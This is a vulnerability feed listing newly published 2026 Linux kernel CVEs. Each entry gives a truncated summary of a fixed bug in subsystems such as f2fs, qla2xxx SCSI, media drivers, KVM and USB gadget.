CVE-2026-89828	New						In the Linux kernel, the following vulnerability has been resolved: drm/amdgpu: Fix init ordering in amdgpu_vram_mgr_init() drmm_cgroup_register_region() is called before INIT_LIST_HEAD() and gpu_buddy_init() in amdgpu_vram_mgr_init(). If it fails, the function returns early and bypasses those initializations. Since adev->mman.initialized is set to true before amdgpu_vram...
CVE-2026-89830	New						In the Linux kernel, the following vulnerability has been resolved: f2fs: fix valid block count leak on data block allocation failure In __allocate_data_block(), when allocating a new data block (dn->data_blkaddr == NULL_ADDR), inc_valid_block_count() is called first to increment total_valid_block_count and i_blocks. If the subsequent f2fs_allocate_data_block() fails, the ...
CVE-2026-89831	New						In the Linux kernel, the following vulnerability has been resolved: f2fs: protect critical_task_priority updates with s_umount The sysfs store path already takes s_umount for GC thread control entries, and ckpt_thread_ioprio is covered as well. critical_task_priority also updates checkpoint or GC kthread scheduling state, but it is not covered by that serialization. It ca...
CVE-2026-89833	New						In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to avoid potential deadlock in f2fs_fsync_node_pages() There is potential deadlock in race condition: Thread A Thread B - fsync - f2fs_do_sync_file - f2fs_fsync_node_pages - last_fsync_dnode - folio_get(last_folio) - f2fs_setattr - f2fs_truncate - f2fs_truncate_blo...
CVE-2026-89834	New						In the Linux kernel, the following vulnerability has been resolved: f2fs: fix to migrate all curseg types during free_segment_range In free_segment_range(), the curseg evacuation loop only iterates up to NR_CURSEG_PERSIST_TYPE (0..5), missing non-persistent in-memory curseg types such as CURSEG_COLD_DATA_PINNED and CURSEG_ALL_DATA_ATGC. Even though these in-memory curseg ...
CVE-2026-89835	New						In the Linux kernel, the following vulnerability has been resolved: f2fs: avoid NULL checkpoint thread access in sysfs checkpoint_merge can be enabled even when no checkpoint merge thread is running. A read-only mount is one case: f2fs does not start f2fs_issue_ckpt there, but ckpt_thread_ioprio is still writable through sysfs. The ckpt_thread_ioprio store path updates th...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89837	New						In the Linux kernel, the following vulnerability has been resolved: f2fs: fix dentry folio leak in find_in_level find_in_level() gets a dentry folio with f2fs_find_data_folio() before calling find_in_block(). If find_in_block() returns an error, the function stores the error in res_folio and breaks out of the loop without dropping the dentry folio. This leaks the folio r...
CVE-2026-89839	New						In the Linux kernel, the following vulnerability has been resolved: f2fs: use the mount idmap for the owner check in f2fs_xattr_advise_set() f2fs_xattr_advise_set() calls inode_owner_or_capable() with &nop_mnt_idmap before allowing the "system.advise" xattr to be set, instead of the idmap that the VFS passes to the ->set() handler. f2fs supports idmapped mounts, so on suc...
CVE-2026-89842	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Skip NVMe LS reject IOCB when FW not started qla_nvme_xmt_ls_rsp() bails out to the out: label when firmware is not started (!ha->flags.fw_started), but the out: path unconditionally calls qla_nvme_ls_reject_iocb(), which ends in qla2x00_start_ioCBS() and an unconditional doorbell write to t...
CVE-2026-89843	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Zero-init bsg stack buffers to avoid info leak Several bsg handlers stage their request/reply in an uninitialized 256-byte on-stack buffer (uint8_t bsg[DMA_POOL_SIZE]) and fill it via sg_copy_to_buffer(), which only copies as many bytes as the user-supplied request payload. When the request ...
CVE-2026-89845	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Avoid req_q_map double-read in qla2x00_error_entry() qla2x00_error_entry() reads ha->req_q_map[que] twice: once for the NULL check and again when assigning it to req. The map slot is cleared by qla25xx_free_req_que() (ha->req_q_map[que_id] = NULL under mq_lock) during queue teardown, while t...
CVE-2026-89850	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Don't query firmware state while chip is down qla2x00_fw_state_show() initializes rval to QLA_FUNCTION_FAILED and jumps to the out: label when the chip is down or EEH is busy. The out: block then re-issued qla2x00_get_firmware_state() because rval != QLA_SUCCESS, defeating the chip-down/EEH-...
CVE-2026-89851	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix FCE trace enable parsing in debugfs qla2x00_dfs_fce_write() called kstrtoul() with a NULL result pointer, so a successful parse would dereference NULL and oops. Worse, the int return value (0 on success, negative errno on failure) was assigned to the unsigned long enable flag, inverting ...
CVE-2026-89852	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Zero mailbox struct in qla2x00_get_firmware_state() The mbx_cmd_t is allocated on the stack but left uninitialized. qla2x00_mailbox_command() has several early-return paths (PCI permanent failure, device failed, EEH busy, ISP abort pending, mailbox access timeout, purge mbox) that return wit...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89853	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix FCE trace use-after-free during firmware dump qla2x00_free_fce_trace() freed and cleared ha->fce while holding only fce_mutex. The firmware-dump consumers qla27xx_fwdt_entry_t264() and qla25xx_copy_fce() read ha->fce (NULL check followed by a copy of the buffer) under hardware_lock and n...
CVE-2026-89855	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Serialize flash version read in reset handler The "update cache versions without reset" sysfs reset operation (0x20261) calls get_flash_version(), which reads hardware flash registers, without holding ha->optrom_mutex. The VPD update path serializes the same call under optrom_mutex, so this ...
CVE-2026-89858	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Bound image count in qla2x00_update_fru_versions() qla2x00_update_fru_versions() copies the user-supplied BSG request into a fixed 256-byte stack buffer (bsg[DMA_POOL_SIZE]) and then iterates list->count times over the qla_image_version array embedded in that buffer, advancing the image poin...
CVE-2026-89859	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Zero dport diagnostics buffer to avoid info leak qla2x00_do_dport_diagnostics() allocates the qla_dport_diag response buffer with kmalloc_obj() (non-zeroing) and, on success, copies the full sizeof(*dd) back to user space via sg_copy_from_buffer(). The inbound sg_copy_to_buffer() only fills ...
CVE-2026-89862	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Fix BSG job leak on validate flash image error path qla28xx_validate_flash_image() returns QLA_SUCCESS (0) unconditionally, telling the FC BSG transport (fc_bsg_host_dispatch()) that the driver owns and will complete the request. But bsg_job_done() is guarded by "if (!rval)", so on the error...
CVE-2026-89864	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Bound i2c->length in I2C bsg handlers struct qla_i2c_access carries a 16-bit length field alongside a fixed 64-byte buffer: struct qla_i2c_access { uint16_t device, offset, option, length; uint8_t buffer[0x40]; } __packed; qla2x00_write_i2c() and qla2x00_read_i2c() use the user-supp...
CVE-2026-89865	New						In the Linux kernel, the following vulnerability has been resolved: scsi: qla2xxx: Zero SFP DMA buffer in FRU/I2C bsg handlers The FRU and I2C bsg handlers stage their transfer in a DMA_POOL_SIZE (256-byte) bounce buffer obtained from dma_pool_alloc(), which does not zero the allocation. They initialize only a few leading bytes before handing the buffer to qla2x00_write_sf...
CVE-2026-89866	New						In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Resume device before setting EOS flag Setting the EOS flag talks to the firmware via send_firmware_command(), which accesses VPU registers. Both the STREAMOFF path (wave5_vpu_dec_job_abort()) and the V4L2_DEC_CMD_STOP path (wave5_vpu_dec_stop()) can run while the device is runtime...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89867	New						In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Defer job_finish() only when a DEC_PIC was queued Decoder instances sharing a VPU also share one v4l2_m2m job slot, released when the running context calls v4l2_m2m_job_finish(). While draining, device_run() defers job_finish() once EOS is sent (sent_eos), expecting a later finis...
CVE-2026-89868	New						In the Linux kernel, the following vulnerability has been resolved: media: chips-media: wave5: Add timeout while stop_streaming When stop_streaming is called, an infinite loop may occur in some cases. Add a bounded poll of the queue status: loop until the queues drain, sleeping briefly between polls, and bail out once VPU_DEC_STOP_TIMEOUT elapses.
CVE-2026-89869	New						In the Linux kernel, the following vulnerability has been resolved: media: qcom: iris: use disable_irq() during power-off The IRQ is registered as a threaded IRQ. Using disable_irq_nosync() in iris_vpu_power_off() does not wait for an already queued threaded IRQ handler to complete before returning. As a result, a threaded IRQ handler may still run after the VPU has been...
CVE-2026-89871	New						In the Linux kernel, the following vulnerability has been resolved: media: video-i2c: fix kthread error pointer left in kthread_vid_cap on failure kthread_run() returns an ERR_PTR on failure, not NULL. When start_streaming() fails, data->kthread_vid_cap is left holding this error pointer instead of being cleared. This causes two subsequent bugs: 1. A future call to start_...
CVE-2026-89872	New						In the Linux kernel, the following vulnerability has been resolved: media: v4l2-fwnode: Fix fwnode leak in v4l2_fwnode_parse_link In v4l2_fwnode_parse_link(), the remote endpoint fwnode reference is acquired using fwnode_graph_get_remote_endpoint(). This reference is properly released in the error paths, but it is leaked on the success path. Add the missing fwnode_handle_...
CVE-2026-89874	New						In the Linux kernel, the following vulnerability has been resolved: media: v4l2-async: avoid deleting unlinked ASC entry on link error v4l2_async_match_notify() creates ancillary media links before adding asc->asc_subdev_entry to sd->asc_list. If ancillary link creation fails, the function jumps to err_call_unbind while asc_subdev_entry has not been linked yet. Async conn...
CVE-2026-89876	New						In the Linux kernel, the following vulnerability has been resolved: media: tda18250: fix possible integer overflow Integer overflow may occur, when variable exp equals to zero. Result of shift 1 << (exp - 1) may then leads to undefined behavior.
CVE-2026-89878	New						In the Linux kernel, the following vulnerability has been resolved: media: s2255: check firmware size before reading trailing marker s2255_probe() reads a 4-byte marker and version from the last 8 bytes of the firmware blob (fw->data[fw_size - 8] and [fw_size - 4]). If the firmware file is shorter than 8 bytes, fw_size - 8 underflows and the access reads out of bounds. Val...
CVE-2026-89879	New						In the Linux kernel, the following vulnerability has been resolved: media: s2255: bound JPEG frame size before copying into the buffer s2255_fillbuff() memcpy(s vc->jpg_size bytes of a captured JPEG/MJPEG frame into the vb2 plane. vc->jpg_size is taken verbatim from the S2255_MARKER_FRAME header the device sends (pdword[4] in save_frame()) and, unlike the frame payload l...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89881	New						In the Linux kernel, the following vulnerability has been resolved: media: rtl2832_sdr: use vb2_video_unregister_device() on remove to fix DMA leak rtl2832_sdr_remove() runs on USB disconnect and clears dev->udev to NULL before any pending streaming teardown has run. When user space later closes its file descriptor, vb2 calls rtl2832_sdr_stop_streaming() which in turn call...
CVE-2026-89884	New						In the Linux kernel, the following vulnerability has been resolved: media: platform: mtk-mdp3: fix NULL deref on failed SCP lookup Add the missing sanity check after looking up the SCP to avoid dereferencing a NULL-pointer in case its driver has not yet been bound.
CVE-2026-89886	New						In the Linux kernel, the following vulnerability has been resolved: media: intel/ipu6: fix async notifier cleanup leak on parse error isys_notifier_init() calls v4l2_async_nf_init() and then adds fwnode remote subdevs in a loop with v4l2_async_nf_add_fwnode_remote(). If an endpoint parse or add fails partway through the loop, it jumps to err_parse and returns without calli...
CVE-2026-89889	New						In the Linux kernel, the following vulnerability has been resolved: media: i2c: imx415: Release runtime PM reference on VBLANK error The VBLANK path returned immediately when programming VMAX failed after pm_runtime_get_if_in_use() had taken a runtime PM reference. Break out of the switch instead so the common pm_runtime_put() path is used.
CVE-2026-89891	New						In the Linux kernel, the following vulnerability has been resolved: media: em28xx: fix use-after-free of dev_next->devlist on disconnect When a device with has_dual_ts=1 is probed and the is_audio_only path is taken, both dev and dev->dev_next are added to the global em28xx_devlist via em28xx_init_extension(). However, during disconnect, em28xx_close_extension(dev) only ca...
CVE-2026-89892	New						In the Linux kernel, the following vulnerability has been resolved: media: em28xx: defer audio-only extension registration The audio-only path registers extensions while probing the primary device. For a dual-TS board, this happens before dev_next is created. The duplicate device inherits is_audio_only and is then independently inserted into em28xx_devlist. The list is in...
CVE-2026-89895	New						In the Linux kernel, the following vulnerability has been resolved: media: cobalt: Avoid freeing ALSA private data twice snd_cobalt_card_create() stores cobsc in sc->private_data and installs snd_cobalt_card_private_free() as sc->private_free. From that point, snd_card_free(sc) releases cobsc through the ALSA card cleanup path. If cobalt_alsa_init() fails after snd_cobalt...
CVE-2026-89896	New						In the Linux kernel, the following vulnerability has been resolved: media: cedrus: fix memory leak in cedrus_init_ctrls() In cedrus_init_ctrls(), the V4L2 control handler is initialized before allocating memory for ctx->ctrls. If this allocation fails, the function returns -ENOMEM without freeing the previously allocated handler resources, leading to a memory leak. Fix th...
CVE-2026-89900	New						In the Linux kernel, the following vulnerability has been resolved: media: cec: core: Fix kmemleak due to missed rc_free_device() call The commit dccc0c3ddf8f ("media: rc: fix race between unregister and urb/irq callbacks") removed the implicit call to rc_free_device() from rc_unregister_device(). However, the commit missed to remove the NULL assignment of adap->rc that is...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89901	New						In the Linux kernel, the following vulnerability has been resolved: media: airspy: use vb2_video_unregister_device() on disconnect to fix NULL deref airspy_disconnect() clears s->udev under v4l2_lock, but airspy_stop_streaming() unconditionally calls airspy_ctrl_msg() and airspy_free_stream_bufs() afterwards. If a streaming user closes the device after disconnect, stop_str...
CVE-2026-89905	New						In the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Move arena register slot below TCC context Currently, the stack layout places the optional arena register slot above the tail call counter context. When arena_vm_start is dynamically enabled, it shifts the relative offset of the tcc_ptr slot within the stack frame, causing hardcoded trackin...
CVE-2026-89909	New						In the Linux kernel, the following vulnerability has been resolved: LoongArch: KVM: Free init resources if kvm_init() fails kvm_loongarch_init() calls kvm_loongarch_env_init() to allocate the per-CPU kvm_context (vmcs) and kvm_loongarch_ops and to register the perf callbacks, and then calls kvm_init(). If kvm_init() fails its result is returned directly, but since module_i...
CVE-2026-89917	New						In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: Handle VNCR TLB invalidation race with vcpu_put() VNCR unmapping While VNCR TLB invalidation always occurs under the MMU lock, vcpu_put() doesn't, while it unmaps the VNCR page. The problem is that the invalidation evaluates vncr_tlb::cpu to decide whether an unmapping needs to take place (cpu...
CVE-2026-89921	New						In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Zero initialize data structures for inject_pfault_token __kvm_inject_pfault_token() only sets .type and .u.ext.ext_params2 of the on-stack struct kvm_s390_irq but the full ext substructure is copied into the cpu local variable on inject. ext_params and pad contain stale stack values. Interrupt ...
CVE-2026-89923	New						In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Free guest debug data on vcpu destroy kvm_s390_clear_bp_data() is only called from kvm_arch_vcpu_ioctl_set_guest_debug(), i.e. when user space changes or disables debugging. A vCPU that is destroyed while hardware breakpoints are still armed - the normal case when the VMM just exits or crashes -...
CVE-2026-89924	New						In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Fix old_data leak in guest debug error path __import_wp_info() allocates a per-watchpoint old_data buffer to back up the original guest memory contents. If a later watchpoint of the same KVM_SET_GUEST_DEBUG request fails to import, kvm_s390_import_bp_data() jumps to the error label, which frees ...
CVE-2026-89925	New						In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Fix memory leak in guest debug handling bp_data is freed only for the error case by kfree(bp_data). Every successful KVM_SET_GUEST_DEBUG will leak bp_data.
CVE-2026-89926	New						In the Linux kernel, the following vulnerability has been resolved: KVM: s390: Fix length check __import_wp_info() struct kvm_hw_breakpoint::len is a __u64 that is fully controlled by user space. This is then assigned to wp_info->len, which is an int. The bounds check is done on the truncated value while the allocation uses the untruncated one: wp_info->len = bp_data->le...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89931	New						In the Linux kernel, the following vulnerability has been resolved: KVM: nVMX: Ensure KVM_REQ_GET_NESTED_STATE_PAGES is cleared on VM-Exit Always check and clear KVM_REQ_GET_NESTED_STATE_PAGES when emulating a nested VM-Exit to ensure the request is cleared, even when KVM was built with CONFIG_KVM_HYPERV=n, as KVM subtly relies on the "check" to clear the flag and thus avo...
CVE-2026-89933	New						In the Linux kernel, the following vulnerability has been resolved: iio: pressure: dps310: fix NULL pointer dereference on ACPI probe When the device is enumerated through its ACPI HID (IFX3100), i2c_client_get_device_id() returns NULL: the ACPI-derived client name does not match the driver's i2c_device_id table. dps310_probe() then dereferences that NULL pointer in "iio->...
CVE-2026-89934	New						In the Linux kernel, the following vulnerability has been resolved: iio: light: ltrf216a: fix runtime PM reference leak in error path ltrf216a_get_lux() acquires a runtime PM reference by calling ltrf216a_set_power_state(data, true). However, if ltrf216a_read_data() fails, the function returns immediately without dropping the reference. This leaves the runtime PM usage co...
CVE-2026-89935	New						In the Linux kernel, the following vulnerability has been resolved: iio: light: apds9306: fix PM reference leak in apds9306_read_data() apds9306_read_data() calls pm_runtime_resume_and_get() but several error paths return directly without calling pm_runtime_put_autosuspend(), leaking the runtime PM reference and preventing the device from autosuspending. Use PM_RUNTIME_AC...
CVE-2026-89936	New						In the Linux kernel, the following vulnerability has been resolved: iio: dac: m62332: Fix regulator reference count imbalance m62332_set_value() enables the Vcc regulator on every write of a non-zero value and disables it on every write of zero, without tracking the channel's current state. Because the regulator is reference counted, changing a channel directly from one no...
CVE-2026-89937	New						In the Linux kernel, the following vulnerability has been resolved: iio: chemical: sgp30: Handle IAQ thread creation failure kthread_run() can fail and return an error pointer, but sgp_probe() stores it and returns success, so the device is registered without its IAQ thread and sgp_remove() later passes the error pointer to kthread_stop(). Return the error from probe instead.
CVE-2026-89939	New						In the Linux kernel, the following vulnerability has been resolved: iio: chemical: atlas-sensor: fix PM reference leak in buffer postenable atlas_buffer_postenable() acquires a runtime PM reference with pm_runtime_resume_and_get() but returns the result of atlas_set_interrupt() directly. If atlas_set_interrupt() fails, the runtime PM reference is leaked and the device can ...
CVE-2026-89944	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: hdac_hda: Fix hlink refcount leak on component registration failure hdac_hda_dev_probe() gets the HDA link with snd_hdac_ext_bus_link_get() before registering the ASoC component. If component registration fails, the function returns without dropping the link reference. Always call snd_hdac_ext_bus_l...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89945	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: cs35l34: drain threaded IRQ before runtime suspend cs35l34_runtime_suspend() currently switches the codec into regcache_cache_only(true), asserts reset low, and powers the device off without first quiescing the threaded IRQ registered by devm_request_threaded_irq(). That leaves a window where cs35l34...
CVE-2026-89946	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: cs35l33: drain threaded IRQ before runtime suspend cs35l33_runtime_suspend() currently switches the codec into regcache_cache_only(true) and powers it down without first quiescing the threaded IRQ registered by devm_request_threaded_irq(). That leaves a window where cs35l33_irq_thread() can still run...
CVE-2026-89948	New						In the Linux kernel, the following vulnerability has been resolved: batman-adv: bla: fix freeing of claims on meshif deletion When the mesh interface is getting deleted, then batadv_bla_del_backbone_claims() (via batadv_bla_purge_backbone_gw()) could make sure that all claims gets removed. But this function is only executed when bat_priv->bla.claim_hash is not NULL. And si...
CVE-2026-89949	New						In the Linux kernel, the following vulnerability has been resolved: batman-adv: dat: avoid unaligned fault in IP extraction Independent of the alignment of the ARP packet in the SKB, either the batadv_arp_ip_src or the batadv_arp_ip_dst will have an unaligned access (on HW without native unaligned read support). Use get_unaligned() to handle this properly on all architect...
CVE-2026-89950	New						In the Linux kernel, the following vulnerability has been resolved: batman-adv: mcast: linearize skbuff for packet generation batadv_mcast_forw_packet() and batadv_mcast_forw_scrape() is not only called (indirectly) by the unsharing+linearizing batadv_rcv_mcast_packet() handler. When it is called (indirectly) by batadv_mcast_forw_mcsend() then it will be unshared but not ...
CVE-2026-89952	New						In the Linux kernel, the following vulnerability has been resolved: mtd: rawnand: validate ONFI extended parameter page sections nand_flash_detect_ext_param_page() allocates the length declared by the ONFI parameter page, then treats the data as a fixed header followed by variable-length sections. It reads that header and advances over sections without first proving that t...
CVE-2026-89953	New						In the Linux kernel, the following vulnerability has been resolved: mtd: mtdoops: free page bitmap when the backing MTD is removed mtdoops_notify_add() allocates oops_page_used when the configured MTD device is registered. mtdoops_notify_remove() detaches from that device but leaves the bitmap allocated. If the same MTD device is later registered again, the add path allo...
CVE-2026-89955	New						In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix NULL deref in status_show() during queue probe When vfio_ap_mdev_probe_queue() creates the sysfs attribute group, the queue's driver data has not yet been set. A concurrent read of the 'status' attribute can therefore call dev_get_drvdata() and get NULL, which is then passed directly to v...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89956	New						In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix missing lock required to access list of ap_matrix_mdev objects In order to traverse or add/remove ap_matrix_mdev objects in the matrix_dev->mdev_list, the matrix_dev->guests_lock mutex must be held. There are two functions that access the list without holding the mutex: vfio_ap_mdev_prob...
CVE-2026-89958	New						In the Linux kernel, the following vulnerability has been resolved: s390/vfio-ap: Fix dereference matrix_mdev->kvm without checking for NULL The ap_driver structure has two fields which are function pointers to callbacks: *.on_config_changed: called at the start of the AP bus scan function to notify the device driver that the host AP ...
CVE-2026-89962	New						In the Linux kernel, the following vulnerability has been resolved: powerpc/kexec_file: Prevent kexec range truncation Sashiko AI review pointed out the following issue. The __merge_memory_ranges() function incorrectly handles overlapping memory ranges when merging them. Although sort_memory_ranges() sorts all ranges by their start address in ascending order beforehand, t...
CVE-2026-89963	New						In the Linux kernel, the following vulnerability has been resolved: powerpc/kexec_file: Fix null-ptr-def in extra size calculation A static Sashiko AI review identified a potential NULL pointer dereference in kexec_extra_fdt_size_ppc64(). On platforms without any reserved memory regions, get_reserved_memory_ranges() can return 0 while leaving 'rmem' unallocated as NULL. P...
CVE-2026-89964	New						In the Linux kernel, the following vulnerability has been resolved: parisc: eisa: Fix infinite loop when parsing invalid IRQ value When an invalid value is passed via the "eisa_irq_edge=" kernel command line parameter (e.g. "eisa_irq_edge=16,5"), eisa_irq_setup() prints an error message and continues without advancing the current position. As a result the same invalid val...
CVE-2026-89966	New						In the Linux kernel, the following vulnerability has been resolved: mm/hugetlb_cma: fix null nodemask dereference in hugetlb_cma_alloc_frozen_folio alloc_buddy_hugetlb_folio_with_mpol() can pass a NULL nodemask to alloc_fresh_hugetlb_folio() as a fallback to allocate from all nodes. If order is gigantic, alloc_fresh_hugetlb_folio() propagates the NULL nodemask down to hug...
CVE-2026-89975	New						In the Linux kernel, the following vulnerability has been resolved: nvme-fabrics: fix DHCHAP secret leak on parse failure nvme_parse_options() duplicates dhchap_secret and dhchap_ctrl_secret with match_strdup() before validating the DHHC-1: representation. If validation fails, the parser returns -EINVAL before the temporary string in p is assigned to opts->dhchap_secret o...
CVE-2026-89976	New						In the Linux kernel, the following vulnerability has been resolved: accel/ethosu: fix job completion fence cleanup ethosu_ioctl_submit_job() allocates done_fence before validating buffer handles. Errors after allocation call ethosu_job_err_cleanup(), which frees the job but leaks the uninitialized fence. A scheduler dependency error also lets ethosu_job_run() return befor...
CVE-2026-89977	New						In the Linux kernel, the following vulnerability has been resolved: accel/ethosu: check MMIO mapping errors in probe devm_platform_ioremap_resource() returns an error pointer when the register resource cannot be mapped. ethosu_probe() stores it and continues until initialization dereferences it through MMIO accessors. Return the mapping error before initializing the device.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89978	New						In the Linux kernel, the following vulnerability has been resolved: accel/amdxdna: return early from a zero-length flush SYNC_BO does not constrain its size, so a request for zero bytes reaches drm_clflush_virt_range(), which ends with an unconditional clflushopt(end - 1). For an empty range that is the byte before the mapping, and abo->mem.kva comes from vmap(), so the ac...
CVE-2026-89981	New						In the Linux kernel, the following vulnerability has been resolved: arm64: Don't read GMID_EL1 when MTE is disabled __cpuinfo_store_cpu() gates the GMID_EL1 read on the raw ID_AA64PFR1_EL1, so it reads the register even when the kernel has disabled MTE (CONFIG_ARM64_MTE=n or arm64.nomte). KVM sets HCR_EL2.TID5 in that case, and pKVM injects an UNDEF the host cannot handle:...
CVE-2026-89982	New						In the Linux kernel, the following vulnerability has been resolved: i2c: mux: Fix channel node leak on adapter add failure i2c_mux_add_adapter() takes a reference to the Device Tree channel node before registering the new adapter. If adapter registration fails, the error path frees the private data without dropping that reference. Release the channel node before freeing t...
CVE-2026-89983	New						In the Linux kernel, the following vulnerability has been resolved: i2c: core: fix debugfs UAF on adapter removal i2c_del_adapter() frees the adapter's debugfs directory before it unregisters the adapter device, but the new_device sysfs attribute stays writable until device_del(). A write racing with removal still reaches i2c_device_probe(), which passes the freed adap->de...
CVE-2026-89984	New						In the Linux kernel, the following vulnerability has been resolved: perf/x86/intel: Fix kernel address leakages in LBR stack Before Arch LBR gained CPL filtering support, a user-only branch stack could still contain kernel addresses. As a result, kernel branch records may be exposed to user space even when PERF_SAMPLE_BRANCH_USER is requested. For example, on Intel Tiger ...
CVE-2026-89987	New						In the Linux kernel, the following vulnerability has been resolved: mm/huge_memory: transfer the pmd dirty bit to the folio on zap zap_huge_pmd_folio() propagates the pmd young bit to the folio for the file case, but not the dirty bit. The pte path does propagate it, in zap_present_folio_ptes() and so does the pmd split path, in __split_huge_pmd_locked(). For most file m...
CVE-2026-89989	New						In the Linux kernel, the following vulnerability has been resolved: ima: Check for ERR_PTR from dentry_path() in validate_hash_algo() dentry_path() returns ERR_PTR(-ENAMETOOLONG) when the path exceeds the buffer. validate_hash_algo() passes the result straight to integrity_audit_msg() without checking. ERR_PTR is not NULL, so integrity_audit_message() sees a valid pointer ...
CVE-2026-89991	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix infinite loop in pcpu_freelist push with one possible CPU __pcpu_freelist_push() can loop forever when only one CPU is possible and an NMI re-enters pcpu_freelist_push() while the interrupted context holds that CPU's freelist lock. After the current-CPU fast path fails, the fallback loop walks cp...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-89993	New						In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw-edma: Initialize IRQ data before requesting IRQs dw_edma_irq_request() passes struct dw_edma_irq to request_irq() before dw_edma_channel_setup() fills the back pointer. A shared interrupt can therefore enter the handler with dw_irq->dw still NULL, leading to a NULL pointer dereference. Set t...
CVE-2026-89996	New						In the Linux kernel, the following vulnerability has been resolved: dma-buf: dma-heap: don't publish fd before copy_to_user() succeeds DMA_HEAP_IOCTL_ALLOC allocates a dma-buf and installs an fd into the caller's fd table via dma_buf_fd() -> fd_install() before dma_heap_ioctl() copies the result back to userspace. If the trailing copy_to_user() fails, userspace never lear...
CVE-2026-90004	New						In the Linux kernel, the following vulnerability has been resolved: mm/daemon/core: handle region split failure in apply_min_nr_regions() daemon_apply_min_nr_regions() repeatedly split each region until its size becomes small enough to meet the user-defined low limit of the number of regions. The loop assumes the split operation (daemon_split_region_at()) will always succeed...
CVE-2026-90005	New						In the Linux kernel, the following vulnerability has been resolved: samples/daemon/wsse: handle daemon_start() failure Patch series "samples/daemon: handle daemon_{start,stop}() failures". All DAMON sample modules are not correctly handling failures from daemon_start(). Among those, mtier also has an additional problem for handling of daemon_stop() failures. wsse and prcl als...
CVE-2026-90006	New						In the Linux kernel, the following vulnerability has been resolved: samples/daemon/mtier: handle daemon_stop() failure daemon_sample_mtier_stop() assumes its daemon_stop() call will always successfully stops the two DAMON contexts. Hence it deallocates the two DAMON contexts after the daemon_stop() call. However, if a given context is already stopped, daemon_stop() fails and r...
CVE-2026-90015	New						In the Linux kernel, the following vulnerability has been resolved: xhci: fix lost bounce buffers on TDs spanning several ring segments When a TD reaches a link TRB with data that is not aligned to the endpoint's wMaxPacketSize, xhci_align_td() stages the unalignable tail through the bounce buffer of the ring segment holding that link TRB. xhci_unmap_td_bounce_buffer() lat...
CVE-2026-90019	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: fix null pointer dereference in usb_put_function_instance() usb_put_function_instance() attempts to dereference fd inside fi struct to get mod in uvc_alloc_inst() error path. However, fd is not allocated until later in try_get_usb_function_instance() after allocating fi in uvc_alloc_inst() and...
CVE-2026-90020	New						In the Linux kernel, the following vulnerability has been resolved: USB: gadget: fix NULL pointer dereference in gadget_dev_ioctl() gadget_dev_ioctl() reads dev->gadget before acquiring dev->lock, but dev->state is checked after acquiring the lock. Therefore a concurrent bind can change the device state between these operations, which can leave ioctl with a stale NULL gadg...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-90021	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_midi: initialize work in f_midi_alloc() f_midi_alloc initializes free_ref to 1 and it can only be incremented when a sound card is registered via f_midi_register_card(). f_midi_register_card() is only called in f_midi_bind() which actually performs INIT_WORK. If f_midi_bind() is never run, w...
CVE-2026-90023	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_mass_storage: fix null pointer dereference in fsg_common_set_num_buffers() Previously fsg_num_buffers_validate() was removed as it was not necessary due to Kconfig setting the limits for n from 2 to 256 with default as 2. However, setting the page content in such a way that kstrtou8() reflec...
CVE-2026-90024	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: midi2: Fix null-pointer dereference in f_midi2_free_ep_reqs A null-pointer dereference occurs in f_midi2_free_ep_reqs() when attempting to clean up an endpoint that was never initialized. When configuring the MIDI 2.0 gadget via configs and setting the block direction to SNDRV_UMP_DIR_INPUT,...
CVE-2026-90028	New						In the Linux kernel, the following vulnerability has been resolved: usb: typec: hd3ss3220: track VBUS enable state per consumer regulator_is_enabled() reports the aggregate regulator state, not whether this consumer holds an enable reference. If another consumer enables VBUS first, the driver can skip its own regulator_enable() call and later attempt to drop a reference it...
